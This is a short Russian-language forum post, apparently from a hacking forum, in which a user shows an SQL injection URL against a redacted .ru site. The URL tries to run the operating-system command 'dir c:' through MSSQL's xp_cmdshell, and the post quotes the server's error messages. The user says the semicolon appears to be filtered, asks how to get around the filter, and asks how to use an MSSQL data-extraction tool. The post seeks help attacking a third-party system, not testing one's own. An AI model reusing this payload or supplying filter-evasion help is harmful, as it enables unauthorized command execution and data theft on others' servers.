Показать сообщение отдельно

  #3  
Старый 26.03.2008, 00:50
Grema
Участник форума
Регистрация: 29.11.2005
Сообщений: 122
Провел на форуме:
1050637

Репутация: 27
По умолчанию

заработала, спс.

вот теперь другое интересует
Код:
http://***.***.ru/?id=1;exec%20master..xp_cmdshell%20'dir%20c:\'--
Conversion failed when converting the varchar value '1exec master..xp_cmdshell dir c:' to data type int. (severity 16)

Incorrect syntax near 'xec'.

он ; вообще невидит, фильтрует походу, чето можно сделать?


еще интересно как пользоваться http://www.hack-shop.org.ru/tools-mssql-exractor
видел тут видео было, но ссылка здохла( обьясните плз!

Последний раз редактировалось Grema; 26.03.2008 в 03:23..
 
Ответить с цитированием